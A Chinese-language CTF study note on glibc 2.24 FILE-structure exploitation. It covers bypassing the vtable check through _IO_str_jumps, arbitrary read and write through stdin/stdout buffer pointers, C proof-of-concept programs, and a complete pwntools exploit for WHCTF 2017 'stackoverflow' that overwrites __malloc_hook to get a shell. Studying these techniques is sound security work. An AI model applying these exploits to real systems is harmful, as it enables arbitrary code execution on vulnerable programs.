FSOP
在新版本的 glibc 中 (2.24),全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。
如果 vtable 是非法的,那么会引发 abort。
首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
这里的检查使得以往使用 vtable 进行利用的技术很难实现
在glibc中由于对vtable合法性的检查,伪造vtbale的方法不可行了,同时由于FSOP在劫持_IO_list_all后也是伪造vtable表来获得shell,所以这个方法也受到了影响。
但是没有完全不可使用。
之前的利用方法是:通过报错或退出程序,执行fflush,来调用每个FILE中_IO_file_jumps中的_IO_overflow。现在_IO_file_jumps这个vtable会进行检查,但是还有其他vtable是不受检查的:IO_str_jumps 和 IO_wstr_jumps 这两个结构体 可以绕过check。IO_str_jumps 相对简单利用,主要学习这个。
IO_str_jumps 表
pwndbg> p _IO_str_jumps
$6 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7ab28d0 <_IO_str_finish>, <===============
__overflow = 0x7ffff7ab25b0 <__GI__IO_str_overflow>, <==============fflush调用
__underflow = 0x7ffff7ab2550 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7ab10d0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7ab28b0 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7ab1130 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7ab12b0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7ab2a00 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7ab1490 <_IO_default_seekpos>,
__setbuf = 0x7ffff7ab1360 <_IO_default_setbuf>,
__sync = 0x7ffff7ab1710 <_IO_default_sync>,
__doallocate = 0x7ffff7ab1500 <__GI__IO_default_doallocate>,
__read = 0x7ffff7ab2400 <_IO_default_read>,
__write = 0x7ffff7ab2410 <_IO_default_write>,
__seek = 0x7ffff7ab23e0 <_IO_default_seek>,
__close = 0x7ffff7ab1710 <_IO_default_sync>,
__stat = 0x7ffff7ab23f0 <_IO_default_stat>,
__showmanyc = 0x7ffff7ab2420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7ab2430 <_IO_default_imbue>
}
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
......
}
与_IO_file_jumps调用vtable中的指针是一样的,在FILE结构体成员的指引下,从vtable中调用函数指针,只不过这里我们要调用IO_str_jumps 这个虚表中的指针。
其中主要是利用__overflow 和 __finish 这两个函数的调用。
__finish调用
源代码:
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h] 指针函数
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
其中_s._free_buffer如下:
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd1440 <__GI__IO_file_jumps>
},
_s = {
_allocate_buffer = 0x7ffff7dd5520 <_IO_2_1_stderr_>,
_free_buffer = 0x7ffff7dd5600 <_IO_2_1_stdout_> <===========函数调用处 offset = 0xe8
}
}
上面是FILE_plus结构体,也就是说这个_IO_strfile 是两个结构体的封装。
那么只需绕过if判断即可:
/*别忘了_IO_flush_all_lockp的检查*/
fp->_mode = 0
fp->_IO_write_ptr = 1
fp->_IO_write_base = 0
fp->_flags = 0 //绕过
fp->_IO_buf_base = /bin/sh_addr //参数
fp+0xe8 = system_addr //函数指针
vtable = IO_str_jumps - 8 //这样本来要调用__overflow 就会调用 __finish
演示
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
top[0] = 0; //_flags
top[4] = 0; // write_base
top[5] = 1; // write_ptr
top[7] = (size_t)&binsh_in_libc; // buf_base
// house_of_orange conditions
top[1] = 0x61;
top[24] = -1; //mode
top[27] = 0x7ffff7dd1500 - 8; //_IO_str_jumps
top[29] = (size_t) &winner;
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
__overflow 调用
这个相对难一点,源码:
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
[...] //这里的判断只要_flags==0直接通关
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) // not allowed 绕过 _IO_USER_BUF(0x01)
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100; //fp->_IO_buf_end = (bin_sh_addr - 100) / 2
if (new_size < old_blen) //绕过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //也是一样的函数指针调用 fp+0xe8 = system_addr
[...]
}
构造方法:
fp->_mode = 0
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_base = 0
fp->_IO_write_ptr = (bin_sh_addr - 100) / 2 + 1
fp+0xe0 = system_addr
演示
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
top[0] = 0; //_flags
top[4] = 0; // write_base
top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
top[7] = 0; // buf_base
top[8] = ((size_t)&binsh_in_libc-100)/2; // buf_end
// house_of_orange conditions
top[1] = 0x61;
top[27] = 0x7ffff7dd1500; //_IO_str_jumps
top[28] = (size_t) &winner;
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
_IO_str_jumps定位
- IDA寻找_IO_file_jumps在后面找到_IO_str_****的函数表即可
- 法二如下:
IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break
stdin,stdout任意读写
setvbuf
C 库函数 int setvbuf(FILE *stream, char *buffer, int mode, size_t size) 定义流 stream 应如何缓冲。
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
- stream – 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
- buffer – 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
- mode – 这指定了文件缓冲的模式:
模式 和 描述_IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。 - size –这是缓冲的大小,以字节为单位。
一般常见的是:setvbuf(stdin,0,2,0),setvbuf(stdout,0,2,0) 也就是第三个模式:无缓冲。
设置stdin:
_IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
设置stdout
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
所以在关闭缓冲区后除了_IO_buf_end,其他都指向同一地址,_IO_buf_end指向下一个。如果不关闭缓冲区,这些指针一般会指向分配得到的堆地址
这些指针对于IO操作有决定性作用,所以学习一下代表意义:
_IO_buf_base : 缓冲区起始地址
_IO_buf_end : 缓冲区结束地址
_IO_read_base : stdin 缓冲起始地址
_IO_read_end : stdin 缓冲结束地址
_IO_write_base : stdout 缓冲起始地址
_IO_write_end : stdout 缓冲结束地址
_IO_read_ptr _IO_write_ptr : 操作起始地址
stdin—fread任意写
_IO_file_xsgetn:
/*判断缓冲区是否为空,为空调用_IO_doallocbuf进行初始化*/
if (fp->_IO_buf_base == NULL) //bypass
[....]
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (have > 0) //bypass 因为我们最终目的是调用sys_read
{
将输入缓冲区中的内容拷贝至目标地址。
}
[....]
__underflow(_IO_new_file_underflow):
if (fp->_flags & _IO_NO_READS) //bypass _IO_NO_READS = 4
{
return
}
[....]
if (fp->_IO_read_ptr < fp->_IO_read_end) //bypass
return *(unsigned char *) fp->_IO_read_ptr;
最终调用:_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)
构造:
- 设置_IO_buf_base为target_start,_IO_buf_end为target_end(_IO_buf_end-_IO_buf_base要大于0)
- flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
- 设置_IO_read_end等于_IO_read_ptr。
演示
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060
int main(){
long long *buf_base = 0x7ffff7dd1918;
long long *buf_end = 0x7ffff7dd1920;
long long *fileno = 0x7ffff7dd1950;
long long *read_end = 0x7ffff7dd18f0 , *read_ptr = 0x7ffff7dd18e8;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
char array[100] = {0};
*buf_base = &mybuf;
*buf_end = &mybuf + 1;
*fileno = 0;
*read_end = *read_ptr = 0;
scanf("%s",array);
return 0;
}
结果:
pwndbg> p mybuf
$2 = 'A' <repeats 12 times>, "\n", '\000' <repeats 86 times> 成功写入全局变量mybuf
其实scanf更简单构造:
我们可以知道它是向fp->_IO_buf_base处写入(fp->_IO_buf_end – fp->_IO_buf_base)长度的数据。
只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。
stdout—fwrite任意读写
stdout能将缓冲区数据输出,所以多一个读功能
_IO_write_ptr:_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区
_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。
任意写
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
//把数据拷贝到缓冲区。
}
//他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。
构造:_IO_write_ptr为target_s,_IO_write_end为target_e
演示
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060
int main(){
long long *write_ptr = 0x7ffff7dd2648;
long long *write_end = 0x7ffff7dd2650;
long long *write_base = 0x7ffff7dd2640;
long long *_fileno = 0x7ffff7dd2690;
long long *read_end = 0x7ffff7dd2630;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
*write_ptr = &mybuf;
*write_end = &mybuf + 1;
printf("%s\n","BBBBBBBBBBBBBA");
return 0;
}
pwndbg> p mybuf
$3 = 'B' <repeats 13 times>, "A\n", '\000' <repeats 84 times> <==============成功写入mybuf
任意读
fwrite的关键流程:_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>_IO_do_write
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0) //bypass 使cont==0 相当于输出缓冲区没有空闲
{
//把数据拷贝到缓冲区。
}
if (to_do + must_flush > 0)
{
if (_IO_OVERFLOW (f, EOF) == EOF)
[....]
_IO_OVERFLOW():
/*_IO_new_file_overflow中有两个对flag位的检查flag位不要包含8和0x800*/
if (f->_flags & _IO_NO_WRITES) //bypass
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)//bypass
//接下来就会调用:
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
[....]
/*在_IO_do_write中还有几个判断需要绕过:*/
if (fp->_flags & _IO_IS_APPENDING)//bypass _IO_IS_APPENDING(0x1000)
else if (fp->_IO_read_end != fp->_IO_write_base) //bypass fp->_IO_read_end = fp->_IO_write_base。
构造:
- flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
- _fileno为1
- _IO_read_end = _IO_write_base = target_s
- _IO_write_end = _IO_write_ptr=target_e。
演示
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060
int main(){
long long *write_ptr = 0x7ffff7dd2648;
long long *write_end = 0x7ffff7dd2650;
long long *write_base = 0x7ffff7dd2640;
long long *fileno = 0x7ffff7dd2690;
long long *read_end = 0x7ffff7dd2630;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
printf("%s","AAAAAAAAAAAAAAAAAa");
*fileno = 1;
*read_end = *write_base = &leakbuf;
*write_end = *write_ptr = &leakbuf + 1;
printf("%s\n","BBBBBBBBBBBBBA");
return 0;
}
输出:
AAAAAAAAAAAAAAAAAaSuccess!!!!!!!!BBBBBBBBBBBBBA
本来我是直接printf(“%s\n”,”BBBBBBBBBBBBBA”),但是怎么什么都没输出,然后在修改结构体前先printf一次就行了。
WHCTF 2017 stackoverflow
IDA–关键点
/*无缓冲*/
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
[....]
printf("leave your name, bro:");
read_like(&v1, 0x50); //内部使用read函数,且未设置字符串末尾截断符,配合printf可以leak stack,leak libc
printf("worrier %s, now begin your challenge", &v1);
[....]
/*由于设置截断符不是按照size,而是v2,且v2赋值后不再更新,所以相当于一定范围内Null字节写入*/
v2 = size;
while ( size > 0x300000 ){
[....]
}
[....]
*(_BYTE *)(bss_ptr_chunk + v2) = 0;
return 0LL;
IO_getc宏的作用是刷新_IO_read_ptr,每次会从输入缓冲区读一个字节数据即将_IO_read_ptr加一,当_IO_read_ptr等于_IO_read_end的时候便会调用read读数据到_IO_buf_base地址中。
这个题目libc版本是2.24的,有个比较特殊的地方:
0x7ffff7dd48e0 <_IO_2_1_stdin_+32>: 0x00007ffff7dd4943 0x00007ffff7dd4943
0x7ffff7dd48f0 <_IO_2_1_stdin_+48>: 0x00007ffff7dd4943 0x00007ffff7dd4943 <========_IO_buf_base
pwndbg>
0x7ffff7dd4900 <_IO_2_1_stdin_+64>: 0x00007ffff7dd4944 <====_IO_buf_end 0x0000000000000000
0x7ffff7dd4910 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
把_IO_buf_base最后一字节覆盖为\x00 就刚好指向_IO_buf_end (0x7ffff7dd4900 ),这样下一次scanf就可以修改_IO_buf_end。
思路
- printf name时利用stack leak获取libc地址
- malloc一块很大的内存,这样进行mmap获得的空间会紧邻libc基址
- 利用null字节写入,使_IO_buf_base指向_IO_buf_end
- 再次进行scanf就将_IO_buf_end 修改为_malloc_hook+8,并构造payload(尽量不破坏_IO_2_1_stdin_结构体)填充_malloc_hook为onegadget
EXP
#+++++++++++++++++++stackoverflow.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Fri Nov 6 11:38:15 CST 2020
#+++++++++++++++++++stackoverflow.py++++++++++++++++++++
from pwn import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./stackoverflow')
libc = ELF('/glibc/x64/2.24/lib/libc-2.24.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
sh = process('./stackoverflow')
#sh = remote('ip',port)
leak_libc = 'A'*(0x30 - 1)
sh.sendlineafter('leave your name, bro:',leak_libc)
sh.recvuntil('\n')
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
IO_stdin = libc_addr + libc.sym['_IO_2_1_stdin_']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
onegad = [0x3f4b6,0x3f50a,0xd6635]
onegadget = libc_addr + onegad[2]
log.success("libc_addr:" + str(hex(libc_addr)))
log.success("IO_stdin:"+str(hex(IO_stdin)))
log.success('malloc_hook:'+str(hex(malloc_hook)))
log.success('onegadget:'+str(hex(onegadget)))
sh.sendlineafter('trigger stackoverflow: ','5871848')
sh.sendlineafter('trigger stackoverflow: ','2097152')
offset = 56
target_addr = IO_stdin + offset
ptr2_mma = libc_addr - 0x201000 + 0x10
offi_mma_tar = target_addr - ptr2_mma
log.success('target_addr:'+str(hex(target_addr)))
log.success("ptr2_mma:"+str(hex(ptr2_mma)))
log.success('offi_mma_tar:'+str(hex(offi_mma_tar)))
sh.sendlineafter('ropchain: ','AAA')
#gdb.attach(sh,'b*0x00000000004008E9')
sh.sendafter('trigger stackoverflow: ',p64(malloc_hook+8))
sh.sendafter('ropchain: ','AAA')
for i in range(7): #这是IO_getc宏的原因,调试
sh.sendafter('ropchain: ','X')
#gdb.attach(sh)
payload = p64(malloc_hook+8) + p64(0)
payload += p64(0)*5 + p64(0xffffffffffffffff)
payload += p64(0xa000000) + p64(libc_addr+0x39a770) #local off
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc_addr+0x3989a0) + p64(0)*3
payload += p64(0xffffffff) + p64(0)*2
payload += p64(libc_addr + libc.sym['_IO_file_jumps'])
payload += p64(0) * 0x2a
payload += p64(0x400A23)
#gdb.attach(sh,'b*0x0000000000400888')
sh.sendafter('trigger stackoverflow: ',payload)
sh.interactive()
IO攻击常见问题
在构造好各个结构体之后,触发攻击不一定能获得shell,一般的:
必须要libc的低32位地址为负时,攻击才会成功。
在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效
参考:
https://elixir.bootlin.com/glibc/glibc-2.24/source
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/#_2
https://shizhongpwn.github.io/2020/02/10/io-gong-ji-zong-jie/
https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie
https://xz.aliyun.com/t/5853#toc-5(推荐 )
https://www.anquanke.com/post/id/194577#h3-3(推荐)